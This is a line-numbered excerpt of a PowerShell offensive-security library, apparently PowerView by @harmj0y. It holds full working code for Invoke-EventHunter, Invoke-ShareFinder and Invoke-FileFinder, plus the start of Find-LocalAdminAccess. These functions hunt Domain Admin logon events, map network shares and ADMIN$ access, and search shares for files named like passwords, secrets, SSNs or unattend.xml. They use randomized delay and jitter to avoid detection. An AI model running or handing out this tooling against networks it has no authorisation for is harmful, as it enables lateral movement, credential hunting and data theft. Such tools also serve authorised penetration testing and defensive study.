9201 Number of days back to search logs for. Default 3.
9202 .PARAMETER SearchForest
9203 Switch. Search all domains in the forest for target users instead of just
9204 a single domain.
9205 .PARAMETER Threads
9206 The maximum concurrent threads to execute.
9207 .PARAMETER Credential
9208 A [Management.Automation.PSCredential] object of alternate credentials
9209 for connection to the target domain.
9210 .EXAMPLE
9211 PS C:\> Invoke-EventHunter
9212 .LINK
9213 http://blog.harmj0y.net
9214#>
9215
9216 [CmdletBinding()]
9217 param(
9218 [Parameter(Position=0,ValueFromPipeline=$True)]
9219 [Alias('Hosts')]
9220 [String[]]
9221 $ComputerName,
9222
9223 [ValidateScript({Test-Path -Path $_ })]
9224 [Alias('HostList')]
9225 [String]
9226 $ComputerFile,
9227
9228 [String]
9229 $ComputerFilter,
9230
9231 [String]
9232 $ComputerADSpath,
9233
9234 [String]
9235 $GroupName = 'Domain Admins',
9236
9237 [String]
9238 $TargetServer,
9239
9240 [String[]]
9241 $UserName,
9242
9243 [String]
9244 $UserFilter,
9245
9246 [String]
9247 $UserADSpath,
9248
9249 [ValidateScript({Test-Path -Path $_ })]
9250 [String]
9251 $UserFile,
9252
9253 [String]
9254 $Domain,
9255
9256 [String]
9257 $DomainController,
9258
9259 [Int32]
9260 $SearchDays = 3,
9261
9262 [Switch]
9263 $SearchForest,
9264
9265 [ValidateRange(1,100)]
9266 [Int]
9267 $Threads,
9268
9269 [Management.Automation.PSCredential]
9270 $Credential
9271 )
9272
9273 begin {
9274
9275 if ($PSBoundParameters['Debug']) {
9276 $DebugPreference = 'Continue'
9277 }
9278
9279 # random object for delay
9280 $RandNo = New-Object System.Random
9281
9282 Write-Verbose "[*] Running Invoke-EventHunter"
9283
9284 if($Domain) {
9285 $TargetDomains = @($Domain)
9286 }
9287 elseif($SearchForest) {
9288 # get ALL the domains in the forest to search
9289 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
9290 }
9291 else {
9292 # use the local domain
9293 $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
9294 }
9295
9296 #####################################################
9297 #
9298 # First we build the host target set
9299 #
9300 #####################################################
9301
9302 if(!$ComputerName) {
9303 # if we're using a host list, read the targets in and add them to the target list
9304 if($ComputerFile) {
9305 $ComputerName = Get-Content -Path $ComputerFile
9306 }
9307 elseif($ComputerFilter -or $ComputerADSpath) {
9308 [array]$ComputerName = @()
9309 ForEach ($Domain in $TargetDomains) {
9310 Write-Verbose "[*] Querying domain $Domain for hosts"
9311 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
9312 }
9313 }
9314 else {
9315 # if a computer specifier isn't given, try to enumerate all domain controllers
9316 [array]$ComputerName = @()
9317 ForEach ($Domain in $TargetDomains) {
9318 Write-Verbose "[*] Querying domain $Domain for domain controllers"
9319 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
9320 }
9321 }
9322
9323 # remove any null target hosts, uniquify the list and shuffle it
9324 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
9325 if($($ComputerName.Count) -eq 0) {
9326 throw "No hosts found!"
9327 }
9328 }
9329
9330 #####################################################
9331 #
9332 # Now we build the user target set
9333 #
9334 #####################################################
9335
9336 # users we're going to be searching for
9337 $TargetUsers = @()
9338
9339 # if we want to hunt for the effective domain users who can access a target server
9340 if($TargetServer) {
9341 Write-Verbose "Querying target server '$TargetServer' for local users"
9342 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
9343 ($_.AccountName).split("/")[1].toLower()
9344 } | Where-Object {$_}
9345 }
9346 # if we get a specific username, only use that
9347 elseif($UserName) {
9348 # Write-Verbose "[*] Using target user '$UserName'..."
9349 $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
9350 if($TargetUsers -isnot [System.Array]) {
9351 $TargetUsers = @($TargetUsers)
9352 }
9353 }
9354 # read in a target user list if we have one
9355 elseif($UserFile) {
9356 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
9357 }
9358 elseif($UserADSpath -or $UserFilter) {
9359 ForEach ($Domain in $TargetDomains) {
9360 Write-Verbose "[*] Querying domain $Domain for users"
9361 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
9362 $_.samaccountname
9363 } | Where-Object {$_}
9364 }
9365 }
9366 else {
9367 ForEach ($Domain in $TargetDomains) {
9368 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
9369 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
9370 $_.MemberName
9371 }
9372 }
9373 }
9374
9375 if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
9376 throw "[!] No users found to search for!"
9377 }
9378
9379 # script block that enumerates a server
9380 $HostEnumBlock = {
9381 param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
9382
9383 # optionally check if the server is up first
9384 $Up = $True
9385 if($Ping) {
9386 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
9387 }
9388 if($Up) {
9389 # try to enumerate
9390 if($Credential) {
9391 Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
9392 # filter for the target user set
9393 $TargetUsers -contains $_.UserName
9394 }
9395 }
9396 else {
9397 Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
9398 # filter for the target user set
9399 $TargetUsers -contains $_.UserName
9400 }
9401 }
9402 }
9403 }
9404
9405 }
9406
9407 process {
9408
9409 if($Threads) {
9410 Write-Verbose "Using threading with threads = $Threads"
9411
9412 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
9413 $ScriptParams = @{
9414 'Ping' = $(-not $NoPing)
9415 'TargetUsers' = $TargetUsers
9416 'SearchDays' = $SearchDays
9417 'Credential' = $Credential
9418 }
9419
9420 # kick off the threaded script block + arguments
9421 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
9422 }
9423
9424 else {
9425 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
9426 # ping all hosts in parallel
9427 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
9428 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
9429 }
9430
9431 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
9432 $Counter = 0
9433
9434 ForEach ($Computer in $ComputerName) {
9435
9436 $Counter = $Counter + 1
9437
9438 # sleep for our semi-randomized interval
9439 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
9440
9441 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
9442 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
9443 }
9444 }
9445
9446 }
9447}
9448
9449
9450function Invoke-ShareFinder {
9451<#
9452 .SYNOPSIS
9453 This function finds the local domain name for a host using Get-NetDomain,
9454 queries the domain for all active machines with Get-NetComputer, then for
9455 each server it lists of active shares with Get-NetShare. Non-standard shares
9456 can be filtered out with -Exclude* flags.
9457 Author: @harmj0y
9458 License: BSD 3-Clause
9459 .PARAMETER ComputerName
9460 Host array to enumerate, passable on the pipeline.
9461 .PARAMETER ComputerFile
9462 File of hostnames/IPs to search.
9463 .PARAMETER ComputerFilter
9464 Host filter name to query AD for, wildcards accepted.
9465 .PARAMETER ComputerADSpath
9466 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9467 Useful for OU queries.
9468 .PARAMETER ExcludeStandard
9469 Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)
9470 .PARAMETER ExcludePrint
9471 Switch. Exclude the print$ share.
9472 .PARAMETER ExcludeIPC
9473 Switch. Exclude the IPC$ share.
9474 .PARAMETER CheckShareAccess
9475 Switch. Only display found shares that the local user has access to.
9476 .PARAMETER CheckAdmin
9477 Switch. Only display ADMIN$ shares the local user has access to.
9478 .PARAMETER NoPing
9479 Switch. Don't ping each host to ensure it's up before enumerating.
9480 .PARAMETER Delay
9481 Delay between enumerating hosts, defaults to 0.
9482 .PARAMETER Jitter
9483 Jitter for the host delay, defaults to +/- 0.3.
9484 .PARAMETER Domain
9485 Domain to query for machines, defaults to the current domain.
9486 .PARAMETER DomainController
9487 Domain controller to reflect LDAP queries through.
9488 .PARAMETER SearchForest
9489 Switch. Search all domains in the forest for target users instead of just
9490 a single domain.
9491 .PARAMETER Threads
9492 The maximum concurrent threads to execute.
9493 .EXAMPLE
9494 PS C:\> Invoke-ShareFinder -ExcludeStandard
9495 Find non-standard shares on the domain.
9496 .EXAMPLE
9497 PS C:\> Invoke-ShareFinder -Threads 20
9498 Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.
9499 .EXAMPLE
9500 PS C:\> Invoke-ShareFinder -Delay 60
9501 Find shares on the domain with a 60 second (+/- *.3)
9502 randomized delay between touching each host.
9503 .EXAMPLE
9504 PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt
9505 Find shares for machines in the specified hosts file.
9506 .LINK
9507 http://blog.harmj0y.net
9508#>
9509
9510 [CmdletBinding()]
9511 param(
9512 [Parameter(Position=0,ValueFromPipeline=$True)]
9513 [Alias('Hosts')]
9514 [String[]]
9515 $ComputerName,
9516
9517 [ValidateScript({Test-Path -Path $_ })]
9518 [Alias('HostList')]
9519 [String]
9520 $ComputerFile,
9521
9522 [String]
9523 $ComputerFilter,
9524
9525 [String]
9526 $ComputerADSpath,
9527
9528 [Switch]
9529 $ExcludeStandard,
9530
9531 [Switch]
9532 $ExcludePrint,
9533
9534 [Switch]
9535 $ExcludeIPC,
9536
9537 [Switch]
9538 $NoPing,
9539
9540 [Switch]
9541 $CheckShareAccess,
9542
9543 [Switch]
9544 $CheckAdmin,
9545
9546 [UInt32]
9547 $Delay = 0,
9548
9549 [Double]
9550 $Jitter = .3,
9551
9552 [String]
9553 $Domain,
9554
9555 [String]
9556 $DomainController,
9557
9558 [Switch]
9559 $SearchForest,
9560
9561 [ValidateRange(1,100)]
9562 [Int]
9563 $Threads
9564 )
9565
9566 begin {
9567 if ($PSBoundParameters['Debug']) {
9568 $DebugPreference = 'Continue'
9569 }
9570
9571 # random object for delay
9572 $RandNo = New-Object System.Random
9573
9574 Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
9575
9576 # figure out the shares we want to ignore
9577 [String[]] $ExcludedShares = @('')
9578
9579 if ($ExcludePrint) {
9580 $ExcludedShares = $ExcludedShares + "PRINT$"
9581 }
9582 if ($ExcludeIPC) {
9583 $ExcludedShares = $ExcludedShares + "IPC$"
9584 }
9585 if ($ExcludeStandard) {
9586 $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
9587 }
9588
9589 # if we're using a host file list, read the targets in and add them to the target list
9590 if($ComputerFile) {
9591 $ComputerName = Get-Content -Path $ComputerFile
9592 }
9593
9594 if(!$ComputerName) {
9595 [array]$ComputerName = @()
9596
9597 if($Domain) {
9598 $TargetDomains = @($Domain)
9599 }
9600 elseif($SearchForest) {
9601 # get ALL the domains in the forest to search
9602 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
9603 }
9604 else {
9605 # use the local domain
9606 $TargetDomains = @( (Get-NetDomain).name )
9607 }
9608
9609 ForEach ($Domain in $TargetDomains) {
9610 Write-Verbose "[*] Querying domain $Domain for hosts"
9611 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
9612 }
9613
9614 # remove any null target hosts, uniquify the list and shuffle it
9615 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
9616 if($($ComputerName.count) -eq 0) {
9617 throw "No hosts found!"
9618 }
9619 }
9620
9621 # script block that enumerates a server
9622 $HostEnumBlock = {
9623 param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
9624
9625 # optionally check if the server is up first
9626 $Up = $True
9627 if($Ping) {
9628 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
9629 }
9630 if($Up) {
9631 # get the shares for this host and check what we find
9632 $Shares = Get-NetShare -ComputerName $ComputerName
9633 ForEach ($Share in $Shares) {
9634 Write-Verbose "[*] Server share: $Share"
9635 $NetName = $Share.shi1_netname
9636 $Remark = $Share.shi1_remark
9637 $Path = '\\'+$ComputerName+'\'+$NetName
9638
9639 # make sure we get a real share name back
9640 if (($NetName) -and ($NetName.trim() -ne '')) {
9641 # if we're just checking for access to ADMIN$
9642 if($CheckAdmin) {
9643 if($NetName.ToUpper() -eq "ADMIN$") {
9644 try {
9645 $Null = [IO.Directory]::GetFiles($Path)
9646 "\\$ComputerName\$NetName `t- $Remark"
9647 }
9648 catch {
9649 Write-Verbose "Error accessing path $Path : $_"
9650 }
9651 }
9652 }
9653 # skip this share if it's in the exclude list
9654 elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
9655 # see if we want to check access to this share
9656 if($CheckShareAccess) {
9657 # check if the user has access to this path
9658 try {
9659 $Null = [IO.Directory]::GetFiles($Path)
9660 "\\$ComputerName\$NetName `t- $Remark"
9661 }
9662 catch {
9663 Write-Verbose "Error accessing path $Path : $_"
9664 }
9665 }
9666 else {
9667 "\\$ComputerName\$NetName `t- $Remark"
9668 }
9669 }
9670 }
9671 }
9672 }
9673 }
9674
9675 }
9676
9677 process {
9678
9679 if($Threads) {
9680 Write-Verbose "Using threading with threads = $Threads"
9681
9682 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
9683 $ScriptParams = @{
9684 'Ping' = $(-not $NoPing)
9685 'CheckShareAccess' = $CheckShareAccess
9686 'ExcludedShares' = $ExcludedShares
9687 'CheckAdmin' = $CheckAdmin
9688 }
9689
9690 # kick off the threaded script block + arguments
9691 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
9692 }
9693
9694 else {
9695 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
9696 # ping all hosts in parallel
9697 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
9698 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
9699 }
9700
9701 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
9702 $Counter = 0
9703
9704 ForEach ($Computer in $ComputerName) {
9705
9706 $Counter = $Counter + 1
9707
9708 # sleep for our semi-randomized interval
9709 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
9710
9711 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
9712 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
9713 }
9714 }
9715
9716 }
9717}
9718
9719
9720function Invoke-FileFinder {
9721<#
9722 .SYNOPSIS
9723 Finds sensitive files on the domain.
9724 Author: @harmj0y
9725 License: BSD 3-Clause
9726 .DESCRIPTION
9727 This function finds the local domain name for a host using Get-NetDomain,
9728 queries the domain for all active machines with Get-NetComputer, grabs
9729 the readable shares for each server, and recursively searches every
9730 share for files with specific keywords in the name.
9731 If a share list is passed, EVERY share is enumerated regardless of
9732 other options.
9733 .PARAMETER ComputerName
9734 Host array to enumerate, passable on the pipeline.
9735 .PARAMETER ComputerFile
9736 File of hostnames/IPs to search.
9737 .PARAMETER ComputerFilter
9738 Host filter name to query AD for, wildcards accepted.
9739 .PARAMETER ComputerADSpath
9740 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9741 Useful for OU queries.
9742 .PARAMETER ShareList
9743 List if \\HOST\shares to search through.
9744 .PARAMETER Terms
9745 Terms to search for.
9746 .PARAMETER OfficeDocs
9747 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
9748 .PARAMETER FreshEXEs
9749 Switch. Find .EXEs accessed within the last week.
9750 .PARAMETER LastAccessTime
9751 Only return files with a LastAccessTime greater than this date value.
9752 .PARAMETER LastWriteTime
9753 Only return files with a LastWriteTime greater than this date value.
9754 .PARAMETER CreationTime
9755 Only return files with a CreationDate greater than this date value.
9756 .PARAMETER IncludeC
9757 Switch. Include any C$ shares in recursive searching (default ignore).
9758 .PARAMETER IncludeAdmin
9759 Switch. Include any ADMIN$ shares in recursive searching (default ignore).
9760 .PARAMETER ExcludeFolders
9761 Switch. Exclude folders from the search results.
9762 .PARAMETER ExcludeHidden
9763 Switch. Exclude hidden files and folders from the search results.
9764 .PARAMETER CheckWriteAccess
9765 Switch. Only returns files the current user has write access to.
9766 .PARAMETER OutFile
9767 Output results to a specified csv output file.
9768 .PARAMETER NoClobber
9769 Switch. Don't overwrite any existing output file.
9770 .PARAMETER NoPing
9771 Switch. Don't ping each host to ensure it's up before enumerating.
9772 .PARAMETER Delay
9773 Delay between enumerating hosts, defaults to 0
9774 .PARAMETER Jitter
9775 Jitter for the host delay, defaults to +/- 0.3
9776 .PARAMETER Domain
9777 Domain to query for machines, defaults to the current domain.
9778 .PARAMETER DomainController
9779 Domain controller to reflect LDAP queries through.
9780 .PARAMETER SearchForest
9781 Search all domains in the forest for target users instead of just
9782 a single domain.
9783 .PARAMETER SearchSYSVOL
9784 Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.
9785 .PARAMETER Threads
9786 The maximum concurrent threads to execute.
9787 .PARAMETER UsePSDrive
9788 Switch. Mount target remote path with temporary PSDrives.
9789 .EXAMPLE
9790 PS C:\> Invoke-FileFinder
9791 Find readable files on the domain with 'pass', 'sensitive',
9792 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
9793 .EXAMPLE
9794 PS C:\> Invoke-FileFinder -Domain testing
9795 Find readable files on the 'testing' domain with 'pass', 'sensitive',
9796 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
9797 .EXAMPLE
9798 PS C:\> Invoke-FileFinder -IncludeC
9799 Find readable files on the domain with 'pass', 'sensitive',
9800 'secret', 'admin', 'login' or 'unattend*.xml' in the name,
9801 including C$ shares.
9802 .EXAMPLE
9803 PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv
9804 Enumerate a specified share list for files with 'accounts' or
9805 'ssn' in the name, and write everything to "out.csv"
9806 .LINK
9807 http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
9808#>
9809
9810 [CmdletBinding()]
9811 param(
9812 [Parameter(Position=0,ValueFromPipeline=$True)]
9813 [Alias('Hosts')]
9814 [String[]]
9815 $ComputerName,
9816
9817 [ValidateScript({Test-Path -Path $_ })]
9818 [Alias('HostList')]
9819 [String]
9820 $ComputerFile,
9821
9822 [String]
9823 $ComputerFilter,
9824
9825 [String]
9826 $ComputerADSpath,
9827
9828 [ValidateScript({Test-Path -Path $_ })]
9829 [String]
9830 $ShareList,
9831
9832 [Switch]
9833 $OfficeDocs,
9834
9835 [Switch]
9836 $FreshEXEs,
9837
9838 [Alias('Terms')]
9839 [String[]]
9840 $SearchTerms,
9841
9842 [ValidateScript({Test-Path -Path $_ })]
9843 [String]
9844 $TermList,
9845
9846 [String]
9847 $LastAccessTime,
9848
9849 [String]
9850 $LastWriteTime,
9851
9852 [String]
9853 $CreationTime,
9854
9855 [Switch]
9856 $IncludeC,
9857
9858 [Switch]
9859 $IncludeAdmin,
9860
9861 [Switch]
9862 $ExcludeFolders,
9863
9864 [Switch]
9865 $ExcludeHidden,
9866
9867 [Switch]
9868 $CheckWriteAccess,
9869
9870 [String]
9871 $OutFile,
9872
9873 [Switch]
9874 $NoClobber,
9875
9876 [Switch]
9877 $NoPing,
9878
9879 [UInt32]
9880 $Delay = 0,
9881
9882 [Double]
9883 $Jitter = .3,
9884
9885 [String]
9886 $Domain,
9887
9888 [String]
9889 $DomainController,
9890
9891 [Switch]
9892 $SearchForest,
9893
9894 [Switch]
9895 $SearchSYSVOL,
9896
9897 [ValidateRange(1,100)]
9898 [Int]
9899 $Threads,
9900
9901 [Switch]
9902 $UsePSDrive
9903 )
9904
9905 begin {
9906 if ($PSBoundParameters['Debug']) {
9907 $DebugPreference = 'Continue'
9908 }
9909
9910 # random object for delay
9911 $RandNo = New-Object System.Random
9912
9913 Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
9914
9915 $Shares = @()
9916
9917 # figure out the shares we want to ignore
9918 [String[]] $ExcludedShares = @("C$", "ADMIN$")
9919
9920 # see if we're specifically including any of the normally excluded sets
9921 if ($IncludeC) {
9922 if ($IncludeAdmin) {
9923 $ExcludedShares = @()
9924 }
9925 else {
9926 $ExcludedShares = @("ADMIN$")
9927 }
9928 }
9929
9930 if ($IncludeAdmin) {
9931 if ($IncludeC) {
9932 $ExcludedShares = @()
9933 }
9934 else {
9935 $ExcludedShares = @("C$")
9936 }
9937 }
9938
9939 # delete any existing output file if it already exists
9940 if(!$NoClobber) {
9941 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
9942 }
9943
9944 # if there's a set of terms specified to search for
9945 if ($TermList) {
9946 ForEach ($Term in Get-Content -Path $TermList) {
9947 if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
9948 $SearchTerms += $Term
9949 }
9950 }
9951 }
9952
9953 # if we're hard-passed a set of shares
9954 if($ShareList) {
9955 ForEach ($Item in Get-Content -Path $ShareList) {
9956 if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
9957 # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
9958 $Share = $Item.Split("`t")[0]
9959 $Shares += $Share
9960 }
9961 }
9962 }
9963 else {
9964 # if we're using a host file list, read the targets in and add them to the target list
9965 if($ComputerFile) {
9966 $ComputerName = Get-Content -Path $ComputerFile
9967 }
9968
9969 if(!$ComputerName) {
9970
9971 if($Domain) {
9972 $TargetDomains = @($Domain)
9973 }
9974 elseif($SearchForest) {
9975 # get ALL the domains in the forest to search
9976 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
9977 }
9978 else {
9979 # use the local domain
9980 $TargetDomains = @( (Get-NetDomain).name )
9981 }
9982
9983 if($SearchSYSVOL) {
9984 ForEach ($Domain in $TargetDomains) {
9985 $DCSearchPath = "\\$Domain\SYSVOL\"
9986 Write-Verbose "[*] Adding share search path $DCSearchPath"
9987 $Shares += $DCSearchPath
9988 }
9989 if(!$SearchTerms) {
9990 # search for interesting scripts on SYSVOL
9991 $SearchTerms = @('.vbs', '.bat', '.ps1')
9992 }
9993 }
9994 else {
9995 [array]$ComputerName = @()
9996
9997 ForEach ($Domain in $TargetDomains) {
9998 Write-Verbose "[*] Querying domain $Domain for hosts"
9999 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
10000 }
10001
10002 # remove any null target hosts, uniquify the list and shuffle it
10003 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
10004 if($($ComputerName.Count) -eq 0) {
10005 throw "No hosts found!"
10006 }
10007 }
10008 }
10009 }
10010
10011 # script block that enumerates shares and files on a server
10012 $HostEnumBlock = {
10013 param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
10014
10015 Write-Verbose "ComputerName: $ComputerName"
10016 Write-Verbose "ExcludedShares: $ExcludedShares"
10017 $SearchShares = @()
10018
10019 if($ComputerName.StartsWith("\\")) {
10020 # if a share is passed as the server
10021 $SearchShares += $ComputerName
10022 }
10023 else {
10024 # if we're enumerating the shares on the target server first
10025 $Up = $True
10026 if($Ping) {
10027 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
10028 }
10029 if($Up) {
10030 # get the shares for this host and display what we find
10031 $Shares = Get-NetShare -ComputerName $ComputerName
10032 ForEach ($Share in $Shares) {
10033
10034 $NetName = $Share.shi1_netname
10035 $Path = '\\'+$ComputerName+'\'+$NetName
10036
10037 # make sure we get a real share name back
10038 if (($NetName) -and ($NetName.trim() -ne '')) {
10039
10040 # skip this share if it's in the exclude list
10041 if ($ExcludedShares -NotContains $NetName.ToUpper()) {
10042 # check if the user has access to this path
10043 try {
10044 $Null = [IO.Directory]::GetFiles($Path)
10045 $SearchShares += $Path
10046 }
10047 catch {
10048 Write-Verbose "[!] No access to $Path"
10049 }
10050 }
10051 }
10052 }
10053 }
10054 }
10055
10056 ForEach($Share in $SearchShares) {
10057 $SearchArgs = @{
10058 'Path' = $Share
10059 'SearchTerms' = $SearchTerms
10060 'OfficeDocs' = $OfficeDocs
10061 'FreshEXEs' = $FreshEXEs
10062 'LastAccessTime' = $LastAccessTime
10063 'LastWriteTime' = $LastWriteTime
10064 'CreationTime' = $CreationTime
10065 'ExcludeFolders' = $ExcludeFolders
10066 'ExcludeHidden' = $ExcludeHidden
10067 'CheckWriteAccess' = $CheckWriteAccess
10068 'OutFile' = $OutFile
10069 'UsePSDrive' = $UsePSDrive
10070 }
10071
10072 Find-InterestingFile @SearchArgs
10073 }
10074 }
10075 }
10076
10077 process {
10078
10079 if($Threads) {
10080 Write-Verbose "Using threading with threads = $Threads"
10081
10082 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
10083 $ScriptParams = @{
10084 'Ping' = $(-not $NoPing)
10085 'ExcludedShares' = $ExcludedShares
10086 'SearchTerms' = $SearchTerms
10087 'ExcludeFolders' = $ExcludeFolders
10088 'OfficeDocs' = $OfficeDocs
10089 'ExcludeHidden' = $ExcludeHidden
10090 'FreshEXEs' = $FreshEXEs
10091 'CheckWriteAccess' = $CheckWriteAccess
10092 'OutFile' = $OutFile
10093 'UsePSDrive' = $UsePSDrive
10094 }
10095
10096 # kick off the threaded script block + arguments
10097 if($Shares) {
10098 # pass the shares as the hosts so the threaded function code doesn't have to be hacked up
10099 Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10100 }
10101 else {
10102 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10103 }
10104 }
10105
10106 else {
10107 if($Shares){
10108 $ComputerName = $Shares
10109 }
10110 elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
10111 # ping all hosts in parallel
10112 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
10113 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
10114 }
10115
10116 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10117 $Counter = 0
10118
10119 $ComputerName | Where-Object {$_} | ForEach-Object {
10120 Write-Verbose "Computer: $_"
10121 $Counter = $Counter + 1
10122
10123 # sleep for our semi-randomized interval
10124 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10125
10126 Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
10127
10128 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
10129 }
10130 }
10131 }
10132}
10133
10134
10135function Find-LocalAdminAccess {
10136<#
10137 .SYNOPSIS
10138 Finds machines on the local domain where the current user has
10139 local administrator access. Uses multithreading to
10140 speed up enumeration.
10141 Author: @harmj0y
10142 License: BSD 3-Clause
10143 .DESCRIPTION
10144 This function finds the local domain name for a host using Get-NetDomain,
10145 queries the domain for all active machines with Get-NetComputer, then for
10146 each server it checks if the current user has local administrator
10147 access using Invoke-CheckLocalAdminAccess.
10148 Idea stolen from the local_admin_search_enum post module in
10149 Metasploit written by:
10150 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
10151 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
10152 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
10153 .PARAMETER ComputerName
10154 Host array to enumerate, passable on the pipeline.
10155 .PARAMETER ComputerFile
10156 File of hostnames/IPs to search.
10157 .PARAMETER ComputerFilter
10158 Host filter name to query AD for, wildcards accepted.
10159 .PARAMETER ComputerADSpath
10160 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10161 Useful for OU queries.
10162 .PARAMETER NoPing
10163 Switch. Don't ping each host to ensure it's up before enumerating.
10164 .PARAMETER Delay
10165 Delay between enumerating hosts, defaults to 0
10166 .PARAMETER Jitter
10167 Jitter for the host delay, defaults to +/- 0.3
10168 .PARAMETER Domain
10169 Domain to query for machines, defaults to the current domain.
10170
10171 .PARAMETER DomainController
10172 Domain controller to reflect LDAP queries through.
10173 .PARAMETER SearchForest
10174 Switch. Search all domains in the forest for target users instead of just
10175 a single domain.
10176 .PARAMETER Threads
10177 The maximum concurrent threads to execute.
10178 .EXAMPLE
